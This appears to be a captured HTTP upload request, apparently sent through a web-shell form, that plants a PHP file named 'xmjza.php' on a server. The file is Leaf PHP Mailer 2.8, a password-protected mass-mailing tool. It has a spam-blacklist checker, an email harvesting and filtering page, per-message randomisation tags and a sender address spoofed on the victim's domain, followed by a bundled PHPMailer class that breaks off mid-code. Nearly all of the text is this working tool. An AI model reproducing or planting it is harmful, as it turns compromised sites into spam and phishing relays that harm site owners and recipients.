Chrome\/138.0.0.0 Safari\/537.36\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:166200\nsec-fetch-dest:document\nconnection:keep-alive\n\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"xmjza.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws 